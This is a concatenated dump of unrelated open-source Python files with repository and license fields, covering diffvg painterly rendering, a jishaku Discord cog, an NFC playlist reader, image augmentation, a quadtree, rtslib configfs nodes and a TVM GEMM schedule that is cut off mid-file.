background_color[0] / 255.0\n background_image[:, :, 1] = background_color[1] / 255.0\n background_image[:, :, 2] = background_color[2] / 255.0\n # background_image = torch.tensor(background_image)\n\n target_background_image = torch.zeros((target.shape[0], target.shape[1], 3), dtype=torch.float32)\n target_background_image[:, :, 0] = background_color[0] / 255.0\n target_background_image[:, :, 1] = background_color[1] / 255.0\n target_background_image[:, :, 2] = background_color[2] / 255.0\n\n \n shapes = []\n shape_groups = []\n if method == 'blob':\n for i in range(num_paths):\n num_segments = random.randint(3, 5)\n num_control_points = torch.zeros(num_segments, dtype = torch.int32) + 2\n points = []\n p0 = (random.random(), random.random())\n points.append(p0)\n for j in range(num_segments):\n radius = 0.05\n p1 = (p0[0] + radius * (random.random() - 0.5), p0[1] + radius * (random.random() - 0.5))\n p2 = (p1[0] + radius * (random.random() - 0.5), p1[1] + radius * (random.random() - 0.5))\n p3 = (p2[0] + radius * (random.random() - 0.5), p2[1] + radius * (random.random() - 0.5))\n points.append(p1)\n points.append(p2)\n if j < num_segments - 1:\n points.append(p3)\n p0 = p3\n points = torch.tensor(points)\n points[:, 0] *= canvas_width\n points[:, 1] *= canvas_height\n path = pydiffvg.Path(num_control_points = num_control_points,\n points = points,\n stroke_width = torch.tensor(1.0),\n is_closed = True)\n shapes.append(path)\n path_group = pydiffvg.ShapeGroup(shape_ids = torch.tensor([len(shapes) - 1]),\n fill_color = torch.tensor([random.random(),\n random.random(),\n random.random(),\n random.random()]))\n shape_groups.append(path_group)\n else:\n for i in range(num_paths):\n num_segments = random.randint(1, 3)\n num_control_points = torch.zeros(num_segments, dtype = torch.int32) + 2\n points = []\n p0 = (random.random(), random.random())\n points.append(p0)\n for j in range(num_segments):\n radius = 0.05\n p1 = (p0[0] + radius * (random.random() - 0.5), p0[1] + radius * (random.random() - 0.5))\n p2 = (p1[0] + radius * (random.random() - 0.5), p1[1] + radius * (random.random() - 0.5))\n p3 = (p2[0] + radius * (random.random() - 0.5), p2[1] + radius * (random.random() - 0.5))\n points.append(p1)\n points.append(p2)\n points.append(p3)\n p0 = p3\n points = torch.tensor(points)\n points[:, 0] *= canvas_width\n points[:, 1] *= canvas_height\n\n path = pydiffvg.Path(num_control_points = num_control_points,\n points = points,\n stroke_width = torch.tensor(1.0),\n is_closed = False)\n shapes.append(path)\n path_group = pydiffvg.ShapeGroup(shape_ids = torch.tensor([len(shapes) - 1]),\n fill_color = None,\n stroke_color = torch.tensor([random.random(),\n random.random(),\n random.random(),\n random.random()]))\n shape_groups.append(path_group)\n \n scene_args = pydiffvg.RenderFunction.serialize_scene(\\\n canvas_width, canvas_height, shapes, shape_groups)\n \n render = pydiffvg.RenderFunction.apply\n img = render(canvas_width, # width\n canvas_height, # height\n 2, # num_samples_x\n 2, # num_samples_y\n seed, # seed\n background_image,\n *scene_args)\n pydiffvg.imwrite(img.cpu(), 'results/painterly_rendering/init.png', gamma=gamma)\n\n points_vars = []\n stroke_width_vars = []\n color_vars = []\n for path in shapes:\n path.points.requires_grad = True\n points_vars.append(path.points)\n if method == 'lpips':\n for path in shapes:\n path.stroke_width.requires_grad = True\n stroke_width_vars.append(path.stroke_width)\n\n if method == 'blob':\n for group in shape_groups:\n group.fill_color.requires_grad = True\n color_vars.append(group.fill_color)\n else:\n for group in shape_groups:\n group.stroke_color.requires_grad = True\n color_vars.append(group.stroke_color)\n \n # Optimize\n points_optim = torch.optim.Adam(points_vars, lr=1.0)\n if len(stroke_width_vars) > 0:\n width_optim = torch.optim.Adam(stroke_width_vars, lr=0.1)\n color_optim = torch.optim.Adam(color_vars, lr=0.01)\n # Adam iterations.\n for t in range(iters):\n print('iteration:', t)\n points_optim.zero_grad()\n if len(stroke_width_vars) > 0:\n width_optim.zero_grad()\n color_optim.zero_grad()\n # Forward pass: render the image.\n scene_args = pydiffvg.RenderFunction.serialize_scene(\\\n canvas_width, canvas_height, shapes, shape_groups)\n img = render(canvas_width, # width\n canvas_height, # height\n 2, # num_samples_x\n 2, # num_samples_y\n seed + t, # seed\n background_image,\n *scene_args)\n # Compose img with white background\n img = img[:, :, 3:4] * img[:, :, :3] + torch.ones(img.shape[0], img.shape[1], 3, device = pydiffvg.get_device()) * (1 - img[:, :, 3:4])\n # Save the intermediate render.\n pydiffvg.imwrite(img.cpu(), 'results/painterly_rendering/iter_{}.png'.format(t), gamma=gamma)\n img = img[:, :, :3]\n # Convert img from HWC to NCHW\n img = img.unsqueeze(0)\n img = img.permute(0, 3, 1, 2) # NHWC -> NCHW\n if method == 'lpips':\n loss = perception_loss(img, target) + (img.mean() - target.mean()).pow(2)\n else:\n loss = (img - target).pow(2).mean()\n print('render loss:', loss.item())\n \n # Backpropagate the gradients.\n loss.backward()\n\n # Take a gradient descent step.\n points_optim.step()\n if len(stroke_width_vars) > 0:\n width_optim.step()\n color_optim.step()\n if len(stroke_width_vars) > 0:\n for path in shapes:\n path.stroke_width.data.clamp_(1.0, max_width)\n if method == 'blob':\n for group in shape_groups:\n group.fill_color.data.clamp_(0.0, 1.0)\n else:\n for group in shape_groups:\n group.stroke_color.data.clamp_(0.0, 1.0)\n\n if t % 10 == 0 or t == iters - 1:\n pydiffvg.save_svg('results/painterly_rendering/iter_{}.svg'.format(t),\n canvas_width, canvas_height, shapes, shape_groups)\n \n img = render(target.shape[1], # width\n target.shape[0], # height\n 2, # num_samples_x\n 2, # num_samples_y\n seed, # seed\n target_background_image,\n *scene_args)\n \n # Save the intermediate render.\n pydiffvg.imwrite(img.cpu(), 'results/painterly_rendering/final.png'.format(t), gamma=gamma)\n # Convert the intermediate renderings to a video.\n call([\"ffmpeg\", \"-framerate\", \"24\", \"-i\",\n \"results/painterly_rendering/iter_%d.png\", \"-vb\", \"20M\", \"-vcodec\", \"libx264\", \"-crf\", \"25\", \"-pix_fmt\", \"yuv420p\",\n \"results/painterly_rendering/out.mp4\"])\n \n\nif __name__ == \"__main__\":\n painterly_rendering()\n", "source": "duskvirkus/diffvg", "license": "Apache-2.0"} {"text": "from discord.ext import commands\nfrom jishaku.cog import STANDARD_FEATURES, OPTIONAL_FEATURES\n\nfrom jishaku.features.baseclass import Feature\nfrom jishaku.codeblocks import codeblock_converter\nfrom jishaku.exception_handling import ReplResponseReactor\nfrom jishaku.repl import AsyncCodeExecutor, get_var_dict_from_ctx\nfrom jishaku.functools import AsyncSender\n\n#look into making more jishaku commands: https://jishaku.readthedocs.io/en/latest/cog.html\n\nclass Jishaku(*OPTIONAL_FEATURES, *STANDARD_FEATURES):\n \n @Feature.Command(parent=\"jsk\", name=\"py\", aliases=[\"python\"])\n async def jsk_python(self, ctx: commands.Context, *, argument: codeblock_converter):\n\n arg_dict = get_var_dict_from_ctx(ctx, '')\n arg_dict.update(get_var_dict_from_ctx(ctx, '_'))\n arg_dict[\"_\"] = self.last_result\n\n scope = self.scope\n\n try:\n async with ReplResponseReactor(ctx.message):\n with self.submit(ctx):\n executor = AsyncCodeExecutor(argument.content, scope, arg_dict=arg_dict)\n async for send, result in AsyncSender(executor):\n if result is None:\n continue\n\n self.last_result = result\n\n send(await self.jsk_python_result_handling(ctx, result))\n\n finally:\n scope.clear_intersection(arg_dict)\n\n\ndef setup(bot: commands.Bot):\n bot.add_cog(Jishaku(bot = bot))", "source": "JDJGInc/JDBot", "license": "MIT"} {"text": "\"\"\"\nColours used in Capel & Mortlock (2019).\n\"\"\"\n\ndarkblue = '#114A56'\nmidblue = '#1A7282'\nlightblue = '#6DA5AF'\nlightpurple = '#875F74'\npurple = '#592441'\ngrey = '#BEC1C2'\nlightgrey = '#F9F9F9'\ndarkgrey= '#464747'\nwhite = '#FFFFFF'\n", "source": "cescalara/fancy", "license": "BSD-3-Clause"} {"text": "\"\"\"\n\"\"\"\nimport time\nimport logging\nimport json\nimport re\n\n\nfrom pirc522 import RFID\n\nlogger = logging.getLogger('nfc_reader')\n\n\ndef read_playlist_object(data):\n if data[0] != 0x01: # nfc well known format\n return None\n size = data[1]\n data_type = data[2]\n if data_type != 0x55: # waiting for type U\n return None\n _skip = data[3]\n #read data\n str_data = \"\".join([chr(item) for item in data[4:size+3]])\n return str_data\n\ndef write_status(status):\n \"\"\"\n Write status to run dir\n \"\"\"\n try:\n with open('/run/tmb_nfc_reader', 'w') as f:\n f.write(json.dumps(status, indent=2))\n except PermissionError:\n logger.warning(\"No permission to write run status.\")\n\nclass NFCReader:\n Mifare_Ultralight_Auth = [0x49, 0x45, 0x4D, 0x4B, 0x41, 0x45, 0x52, 0x42, 0x21, 0x4E, 0x41, 0x43, 0x55, 0x4F, 0x59, 0x46]\n Default_Auth = [0xff, 0xff, 0xff, 0xff]\n \"\"\"\n NFCReader class\n \"\"\"\n def __init__(self, api):\n self._rdr = RFID(pin_irq=None, antenna_gain=0x07, pin_rst=11)\n self._util = self._rdr.util()\n self._util.debug = True\n self._api = api\n self._status = {}\n \n def __del__(self): \n self._rdr.cleanup()\n\n def _load_m3u_playlist(self, uri):\n playlists = self._api.playlists_as_list()\n found = False\n for playlist in playlists:\n if re.search(uri, playlist['uri'], re.IGNORECASE):\n logger.info(\"Playlist : {} is available.\".format(playlist['name']))\n self._status['playlist'] = playlist \n items = self._api.playlists_get_items(playlist['uri'])\n uris = []\n for item in items:\n uris.append(item['uri'])\n logger.debug(\"Queue : add item {0} {1}\".format(item['uri'], item['name']))\n self._api.tracklist_add(uris)\n \n found = True\n return False\n\n def _load_to_playlist(self, uri):\n uris = []\n result = self._api.library_lookup([uri])\n if result and uri in result:\n logger.info(\"Uri : {} is available.\".format(uri))\n self._status['playlist'] = uri\n \n for track_item in result[uri]:\n if \"__model__\" in track_item and track_item[\"__model__\"] == \"Track\":\n uris.append(track_item['uri'])\n logger.debug(\"Queue : add item {0} {1}\".format(track_item['uri'], track_item['name']))\n \n if len(uris) > 0:\n self._api.tracklist_add(uris)\n return True\n return False\n\n def __on_detected(self, uid, playlist_uri):\n hex_uid = ''.join('{:02x}'.format(x) for x in uid)\n logger.info(\"Detected : \" + hex_uid)\n self._status['nfc_uuid'] = hex_uid\n\n found = False\n if playlist_uri.startswith('m3u'):\n found = self._load_m3u_playlist(playlist_uri)\n else:\n found = self._load_to_playlist(playlist_uri)\n\n if found:\n self._api.play()\n \n write_status(self._status)\n \n def __on_lost(self, uid):\n hex_uid = ':'.join('{:02x}'.format(x) for x in uid)\n logger.info(\"Lost : \" + hex_uid)\n self._status['nfc_uuid'] = \"\"\n self._status['playlist'] = None\n self._api.tracklist_clear()\n write_status(self._status)\n\n def run(self):\n last_uid = None\n last_not_detected = None\n\n logger.info(\"Search for MFRC522 device\")\n version = 0\n while version == 0:\n time.sleep(1)\n version = self._rdr.dev_read(0x37)\n self._rdr = RFID(pin_irq=None, antenna_gain=0x07, pin_rst=11)\n self._util = self._rdr.util()\n logger.info(\"MFRC522 device found. Start searching for tags.\")\n\n while True:\n (error, data) = self._rdr.request()\n if not error:\n (error, uid) = self._rdr.anticoll()\n if not error: \n if uid is not None:\n last_not_detected = None\n logger.debug(\"Request success\")\n if last_uid != uid:\n card_data = []\n read_error = False\n for i in range(9):\n (error, data) = self._rdr.read(6 + i*4)\n if not error:\n card_data += data\n else:\n read_error = True\n logger.debug(\"Read error data: \" + str(i))\n break\n\n if not read_error:\n logger.debug(\"Card read UID: \" + str(uid))\n playlist = read_playlist_object(card_data)\n if playlist is not None:\n logger.debug(\"Card read playlist: {0} \".format(playlist))\n else:\n str_data = \"\".join([\"{0:02x}({1})\\n\".format(item, chr(item)) for item in card_data])\n logger.warning(\"Card read data: {0} \".format(str_data))\n last_uid = uid\n self.__on_detected(last_uid, playlist)\n\n elif last_uid is not None:\n now = time.monotonic()\n if last_not_detected is not None:\n if now - last_not_detected > 2: # 2s\n self.__on_lost(last_uid)\n last_uid = None\n else:\n last_not_detected = now\n\n time.sleep(0.01)\n", "source": "janfietz/tmb_mopidy", "license": "MIT"} {"text": "import imgaug.augmenters as iaa\n\nfrom wai.common.cli.options import TypedOption\nfrom wai.annotations.imgaug.isp.base.component import BaseImageAugmentation\n\n\nLEFT_TO_RIGHT = \"lr\"\nUP_TO_DOWN = \"up\"\nLEFT_TO_RIGHT_AND_UP_TO_DOWN = \"lrup\"\n\nDIRECTIONS = [\n LEFT_TO_RIGHT,\n UP_TO_DOWN,\n LEFT_TO_RIGHT_AND_UP_TO_DOWN\n]\n\n\nclass Flip(BaseImageAugmentation):\n \"\"\"\n Stream processor which flips images.\n \"\"\"\n\n direction: str = TypedOption(\n \"-d\", \"--direction\",\n type=str,\n help=\"the direction to flip, available options: %s\" % (\", \".join(DIRECTIONS))\n )\n\n def _default_suffix(self):\n \"\"\"\n Returns the default suffix to use for images when using \"add\" rather than \"replace\" as mode.\n\n :return: the default suffix\n :rtype: str\n \"\"\"\n return \"-flipped\"\n\n def _can_augment(self):\n \"\"\"\n Checks whether augmentation can take place.\n\n :return: whether can augment\n :rtype: bool\n \"\"\"\n if self.direction is None:\n return False\n if self.direction not in DIRECTIONS:\n self.logger.warning(\"Invalid direction: %s\" % self.direction)\n return False\n return True\n\n def _create_pipeline(self, aug_seed):\n \"\"\"\n Creates and returns the augmentation pipeline.\n\n :param aug_seed: the seed value to use, can be None\n :type aug_seed: int\n :return: the pipeline\n :rtype: iaa.Sequential\n \"\"\"\n if self.direction == LEFT_TO_RIGHT:\n return iaa.Sequential([\n iaa.Fliplr(),\n ])\n elif self.direction == UP_TO_DOWN:\n return iaa.Sequential([\n iaa.Flipud(),\n ])\n elif self.direction == LEFT_TO_RIGHT_AND_UP_TO_DOWN:\n return iaa.Sequential([\n iaa.Fliplr(),\n iaa.Flipud(),\n ])\n else:\n raise Exception(\"Unsupported direction: %s\" % self.direction)\n", "source": "waikato-ufdl/wai-annotations-processors", "license": "Apache-2.0"} {"text": "import sys\nimport argparse\nimport pickle\nimport numpy as np\nfrom quadtree import Quadtree\n\ndef read_data(f):\n data = []\n for line in f:\n entries = line.rstrip().split(' ')\n lat = float(entries[0])\n lng = float(entries[1])\n data.append((lat,lng))\n return np.array(data)\n\np = argparse.ArgumentParser()\np.add_argument(\"-i\", \"--infile\", help=\"input file\", type=argparse.FileType('r'), required=True)\np.add_argument(\"-o\", \"--outfile\", help=\"output model file\", type=argparse.FileType('w'), required=True)\np.add_argument(\"-d\", \"--maxdepth\", help=\"the maximum number of quadtree depth (default=10)\", type=int, nargs='?', default=10)\np.add_argument(\"-p\", \"--maxpoints\", help=\"the maximum number of points in each area (required)\", type=int, required=True)\np.add_argument(\"-u\", \"--upper\", help=\"upper left point (required)\", type=float, nargs=2, metavar=('X','Y'), required=True)\np.add_argument(\"-l\", \"--lower\", help=\"loewr right point (required)\", type=float, nargs=2, metavar=('X', 'Y'), required=True)\nargs = p.parse_args()\n\nX = read_data(args.infile)\n\nqtree = Quadtree(args.upper[0],args.upper[1],args.lower[0],args.lower[1],args.maxpoints,args.maxdepth)\nqtree.fit(X)\n\npickle.dump(qtree, args.outfile)\n", "source": "yamaguchiyuto/quadtree", "license": "MIT"} {"text": "from hashlib import sha256\nimport cloudpickle\nfrom .version import PYTHON_VERSION\n\n\ndef get_function_hash_py35_to_py37(function):\n code = function.__code__\n return sha256(\n cloudpickle.dumps(\n (\n code.co_argcount,\n code.co_cellvars,\n code.co_code,\n code.co_consts,\n code.co_flags,\n code.co_freevars,\n code.co_kwonlyargcount,\n code.co_lnotab,\n code.co_name,\n code.co_names,\n code.co_nlocals,\n code.co_stacksize,\n code.co_varnames,\n )\n )\n ).digest()\n\n\ndef get_function_hash_python38_to_latest(function):\n code = function.__code__\n\n return sha256(\n cloudpickle.dumps(\n (\n code.co_argcount,\n code.co_cellvars,\n code.co_code,\n code.co_consts,\n code.co_flags,\n code.co_freevars,\n code.co_kwonlyargcount,\n code.co_lnotab,\n code.co_name,\n code.co_names,\n code.co_nlocals,\n code.co_posonlyargcount,\n code.co_stacksize,\n code.co_varnames,\n )\n )\n ).digest()\n\n\nif PYTHON_VERSION >= (3, 8):\n get_function_hash = get_function_hash_python38_to_latest\nelif PYTHON_VERSION >= (3, 5):\n get_function_hash = get_function_hash_py35_to_py37\nelse:\n raise Exception(\"Python version not supported\")\n", "source": "b10011/dyncache", "license": "MIT"} {"text": "def parse_string(input, vars={}):\n\tfor var in vars:\n\t\tinput = input.replace(f\"${var}$\", vars[var])\n\treturn input\n", "source": "jaobernardi/roboscovid-redacted", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 25 21:11:45 2017\n\n@author: hubert\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass LiveBarGraph(object):\n \"\"\"\n \"\"\"\n def __init__(self, band_names=['delta', 'theta', 'alpha', 'beta'],\n ch_names=['TP9', 'AF7', 'AF8', 'TP10']):\n \"\"\"\n \"\"\"\n self.band_names = band_names\n self.ch_names = ch_names\n self.n_bars = self.band_names * self.ch_names\n\n self.x =\n\n self.fig, self.ax = plt.subplots()\n self.ax.set_ylim((0, 1))\n\n y = np.zeros((self.n_bars,))\n x = range(self.n_bars)\n\n self.rects = self.ax.bar(x, y)\n\n def update(self, new_y):\n [rect.set_height(y) for rect, y in zip(self.rects, new_y)]\n\n\nif __name__ == '__main__':\n\n bar = LiveBarGraph()\n plt.show()\n\n while True:\n bar.update(np.random.random(10))\n plt.pause(0.1)\n\n\n\n\n\n", "source": "micuat/bci-workshop", "license": "MIT"} {"text": "from transformer.utils.utils import get_tqdm, \\\n get_logger\n", "source": "ViktorStagge/transformer", "license": "MIT"} {"text": "'''\nImplements the base CFSNode class and a few inherited variants.\n\nThis file is part of RTSLib.\nCopyright (c) 2011-2013 by Datera, Inc\nCopyright (c) 2011-2014 by Red Hat, Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\"); you may\nnot use this file except in compliance with the License. You may obtain\na copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\nWARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\nLicense for the specific language governing permissions and limitations\nunder the License.\n'''\n\nimport os\nimport stat\nfrom .utils import fread, fwrite, RTSLibError, RTSLibNotInCFS\n\n\nclass CFSNode(object):\n\n # Where is the configfs base LIO directory ?\n configfs_dir = '/sys/kernel/config/target'\n\n # CFSNode private stuff\n\n def __init__(self):\n self._path = self.configfs_dir\n\n def __eq__(self, other):\n return self._path == other._path\n\n def __ne__(self, other):\n return self._path != other._path\n\n def _get_path(self):\n return self._path\n\n def _create_in_cfs_ine(self, mode):\n '''\n Creates the configFS node if it does not already exist, depending on\n the mode.\n any -> makes sure it exists, also works if the node already does exist\n lookup -> make sure it does NOT exist\n create -> create the node which must not exist beforehand\n '''\n if mode not in ['any', 'lookup', 'create']:\n raise RTSLibError(\"Invalid mode: %s\" % mode)\n if self.exists and mode == 'create':\n raise RTSLibError(\"This %s already exists in configFS\"\n % self.__class__.__name__)\n elif not self.exists and mode == 'lookup':\n raise RTSLibNotInCFS(\"No such %s in configfs: %s\"\n % (self.__class__.__name__, self.path))\n\n if not self.exists:\n try:\n os.mkdir(self.path)\n except:\n raise RTSLibError(\"Could not create %s in configFS\"\n % self.__class__.__name__)\n\n def _exists(self):\n return os.path.isdir(self.path)\n\n def _check_self(self):\n if not self.exists:\n raise RTSLibNotInCFS(\"This %s does not exist in configFS\"\n % self.__class__.__name__)\n\n def _list_files(self, path, writable=None):\n '''\n List files under a path depending on their owner's write permissions.\n @param path: The path under which the files are expected to be. If the\n path itself is not a directory, an empty list will be returned.\n @type path: str\n @param writable: If None (default), returns all parameters, if True,\n returns read-write parameters, if False, returns just the read-only\n parameters.\n @type writable: bool or None\n @return: List of file names filtered according to their write perms.\n '''\n if not os.path.isdir(path):\n return []\n\n if writable is None:\n names = os.listdir(path)\n elif writable:\n names = [name for name in os.listdir(path)\n if (os.stat(\"%s/%s\" % (path, name))[stat.ST_MODE] \\\n & stat.S_IWUSR)]\n else:\n names = [os.path.basename(name) for name in os.listdir(path)\n if not (os.stat(\"%s/%s\" % (path, name))[stat.ST_MODE] \\\n & stat.S_IWUSR)]\n names.sort()\n return names\n\n # CFSNode public stuff\n\n def list_parameters(self, writable=None):\n '''\n @param writable: If None (default), returns all parameters, if True,\n returns read-write parameters, if False, returns just the read-only\n parameters.\n @type writable: bool or None\n @return: The list of existing RFC-3720 parameter names.\n '''\n self._check_self()\n path = \"%s/param\" % self.path\n return self._list_files(path, writable)\n\n def list_attributes(self, writable=None):\n '''\n @param writable: If None (default), returns all attributes, if True,\n returns read-write attributes, if False, returns just the read-only\n attributes.\n @type writable: bool or None\n @return: A list of existing attribute names as strings.\n '''\n self._check_self()\n path = \"%s/attrib\" % self.path\n return self._list_files(path, writable)\n\n def set_attribute(self, attribute, value):\n '''\n Sets the value of a named attribute.\n The attribute must exist in configFS.\n @param attribute: The attribute's name. It is case-sensitive.\n @type attribute: string\n @param value: The attribute's value.\n @type value: string\n '''\n self._check_self()\n path = \"%s/attrib/%s\" % (self.path, str(attribute))\n if not os.path.isfile(path):\n raise RTSLibError(\"Cannot find attribute: %s\"\n % str(attribute))\n else:\n try:\n fwrite(path, \"%s\" % str(value))\n except Exception as e:\n raise RTSLibError(\"Cannot set attribute %s: %s\" % (attribute, e))\n\n def get_attribute(self, attribute):\n '''\n @param attribute: The attribute's name. It is case-sensitive.\n @return: The named attribute's value, as a string.\n '''\n self._check_self()\n path = \"%s/attrib/%s\" % (self.path, str(attribute))\n if not os.path.isfile(path):\n raise RTSLibError(\"Cannot find attribute: %s\" % attribute)\n else:\n return fread(path)\n\n def set_parameter(self, parameter, value):\n '''\n Sets the value of a named RFC-3720 parameter.\n The parameter must exist in configFS.\n @param parameter: The RFC-3720 parameter's name. It is case-sensitive.\n @type parameter: string\n @param value: The parameter's value.\n @type value: string\n '''\n self._check_self()\n path = \"%s/param/%s\" % (self.path, str(parameter))\n if not os.path.isfile(path):\n raise RTSLibError(\"Cannot find parameter: %s\" % parameter)\n else:\n try:\n fwrite(path, \"%s\\n\" % str(value))\n except Exception as e:\n raise RTSLibError(\"Cannot set parameter %s: %s\" % (parameter, e))\n\n def get_parameter(self, parameter):\n '''\n @param parameter: The RFC-3720 parameter's name. It is case-sensitive.\n @type parameter: string\n @return: The named parameter value as a string.\n '''\n self._check_self()\n path = \"%s/param/%s\" % (self.path, str(parameter))\n if not os.path.isfile(path):\n raise RTSLibError(\"Cannot find RFC-3720 parameter: %s\" % parameter)\n else:\n return fread(path)\n\n def delete(self):\n '''\n If the underlying configFS object does not exist, this method does\n nothing. If the underlying configFS object exists, this method attempts\n to delete it.\n '''\n if self.exists:\n os.rmdir(self.path)\n\n path = property(_get_path,\n doc=\"Get the configFS object path.\")\n exists = property(_exists,\n doc=\"Is True as long as the underlying configFS object exists. \" \\\n + \"If the underlying configFS objects gets deleted \" \\\n + \"either by calling the delete() method, or by any \" \\\n + \"other means, it will be False.\")\n\n def dump(self):\n d = {}\n attrs = {}\n params = {}\n for item in self.list_attributes(writable=True):\n attrs[item] = int(self.get_attribute(item))\n if attrs:\n d['attributes'] = attrs\n for item in self.list_parameters(writable=True):\n params[item] = self.get_parameter(item)\n if params:\n d['parameters'] = params\n return d\n\ndef _test():\n import doctest\n doctest.testmod()\n\nif __name__ == \"__main__\":\n _test()\n", "source": "pzakha/python-rtslib-fb", "license": "Apache-2.0"} {"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# pylint: disable=invalid-name,unused-variable,unused-argument\n\"\"\"GEMM schedules for Mali Bifrost\"\"\"\nfrom .transforms import tile_and_bind, tile_and_bind3d, interleave_transpose, transpose_interleave\nfrom .. import util\n\n\ndef decl_gemm(cfg, A, B):\n \"\"\"Declare a single GEMM computation for Mali Bifrost GPUs\n\n Parameters\n ----------\n cfg : Config\n Schedule configuration\n\n A : tvm.te.Tensor\n 2D Tensor, shape [n, k]\n\n B : tvm.te.Tensor\n 2D Tensor, shape [k, m]\n\n Returns\n -------\n C : tvm.te.Tensor\n 2D Tensor, shape [n, m]\n \"\"\"\n\n cfg.define_knob(\"work_group_x\", [1, 2, 3, 4, 6, 8, 12, 16, 24, 32, 64])\n cfg.define_knob(\"work_group_y\", [1, 2, 3, 4, 6, 8, 12, 16, 24, 32, 64])\n cfg.define_knob(\"unroll_k_factor\", [1, 2, 4])\n cfg.define_knob(\"A_interleave\", [1, 4, 8, 16, 24, 32, 48, 64])\n cfg.define_knob(\"B_interleave\", [1, 4, 8, 16, 32])\n cfg.define_knob(\"split_k_factor\", [1, 4, 16])\n\n # Mutual k axis must be of equal extent\n assert util.get_const_int(A.shape[1]) == util.get_const_int(B.shape[0])\n n = A.shape[0]\n m = B.shape[1]\n k_size = util.get_const_int(A.shape[1])\n unroll_gemm = cfg[\"split_k_factor\"].val\n if unroll_gemm == 1:\n # No unrolling case must have the same set of tensors to keep scheduling consistent\n # Create identity tensors to take the place of A_unrolled, B_unrolled and R\n A_unrolled = te.compute((n, k_size), lambda i, j: A[i, j], name=\"A_unrolled\")\n B_unrolled = te.compute((k_size, m), lambda i, j: B[i, j], name=\"B_unrolled\")\n\n # Declare standard GEMM\n k = te.reduce_axis((0, A.shape[1]), name=\"k\")\n C = te.compute(\n (n, m), lambda i, j: te.sum(A_unrolled[i, k] * B_unrolled[k, j], axis=k), name=\"C\"\n )\n\n R = te.compute((n, m), lambda i, j: C[i, j], name=\"R\")\n\n else:\n unrolled_k_size = k_size // unroll_gemm\n\n # Unroll the two input matrices along the shared k axis\n A_unrolled = te.compute(\n (unroll_gemm, n, unrolled_k_size),\n lambda b, i, j: A[i][unrolled_k_size * b + j],\n name=\"A_unrolled\",\n )\n\n B_unrolled = te.compute(\n (unroll_gemm, unrolled_k_size, m),\n lambda b, i, j: B[unrolled_k_size * b + i][j],\n name=\"B_unrolled\",\n )\n\n # Declare a batched GEMM\n k = te.reduce_axis((0, unrolled_k_size), name=\"k\")\n C = te.compute(\n (unroll_gemm, n, m),\n lambda b, i, j: te.sum(A_unrolled[b][i][k] * B_unrolled[b][k][j], axis=k),\n name=\"C\",\n )\n\n # Then declare a reduction to reduce the sub matrices\n k = te.reduce_axis((0, unroll_gemm), name=\"k\")\n R = te.compute((n, m), lambda i, j: te.sum(C[k][i][j], axis=k), name=\"R\")\n\n return R\n\n\ndef decl_batched_gemm(cfg, A, B):\n \"\"\"Declare a batched GEMM computation for Mali Bifrost GPUs\n Parameters\n ----------\n cfg : Config\n Schedule configuration\n\n A : tvm.te.Tensor\n 3D Tensor, shape [b, n, k]\n\n B : tvm.te.Tensor\n 3D Tensor, shape [b, k, m]\n\n Returns\n -------\n C : tvm.te.Tensor\n 3D Tensor, shape [b, n, m]\n\n \"\"\"\n # Mutual b and k axis must be of equal extent\n assert util.get_const_int(A.shape[2]) == util.get_const_int(B.shape[1])\n assert util.get_const_int(A.shape[0]) == util.get_const_int(B.shape[0])\n\n cfg.define_knob(\"work_group_x\", [1, 2, 3, 4, 6, 8, 12, 16, 24, 32, 64])\n cfg.define_knob(\"work_group_y\", [1, 2, 3, 4, 6, 8, 12, 16, 24, 32, 64])\n cfg.define_knob(\"unroll_k_factor\", [1, 2, 4])\n cfg.define_knob(\"A_interleave\", [1, 4, 8, 16, 32, 64])\n cfg.define_knob(\"B_interleave\", [1, 4, 8, 16, 32])\n\n n = A.shape[1]\n m = B.shape[2]\n k_size = util.get_const_int(A.shape[2])\n b_size = util.get_const_int(A.shape[0])\n\n # Declare a batched GEMM\n k = te.reduce_axis((0, k_size), name=\"k\")\n C = te.compute(\n (b_size, n, m), lambda b, i, j: te.sum(A[b][i][k] * B[b][k][j], axis=k), name=\"C\"\n )\n\n return C\n\n\ndef decl_winograd_gemm(cfg, A, B):\n \"\"\"Declare a winograd GEMM for Mali Bifrost GPUs\n Winograd uses batched GEMM, however the input tensors are 4D\n This wraps decl_batched_gemm to provide it with 3D tensors\n\n Parameters\n ----------\n cfg : Config\n Schedule configuration\n\n A : tvm.te.Tensor\n 4D Tensor, shape [a, a, n, k]\n\n B : tvm.te.Tensor\n 4D Tensor, shape [a * a, k, m]\n\n Returns\n -------\n\n \"\"\"\n alpha = util.get_const_int(A.shape[0])\n n = util.get_const_int(A.shape[2])\n k = util.get_const_int(A.shape[3])\n\n A_3D = te.compute(\n (alpha * alpha, n, k), lambda b, i, j: A[b // alpha][b % alpha][i][j], name=\"A_3D\"\n )\n\n C = decl_batched_gemm(cfg, A_3D, B)\n return A_3D, C\n\n\ndef schedule_gemm(cfg, s, A, B, C, batched=False, schedule_transforms=True):\n \"\"\"Schedule GEMM, single and batched\n\n Parameters\n ----------\n cfg : Config\n Schedule configuration\n\n s : tvm.te.schedule.Schedule\n Operator schedule\n\n A : tvm.te.Tensor\n 2D/3D Tensor, shape [n, k]/[b, n, k]\n\n B : tvm.te.Tensor\n 2D/3D Tensor, shape [k, m]/[b, k, m]\n\n C : tvm.te.Tensor\n 2D/3D Tensor, shape [n, m]/[b, n, m]\n\n batched : bool\n Whether the GEMM is batched\n\n Returns\n -------\n\n \"\"\"\n block_size_x = 4\n block_size_y = 4\n warp_size_x = 2\n warp_size_y = 2\n\n work_group_x = 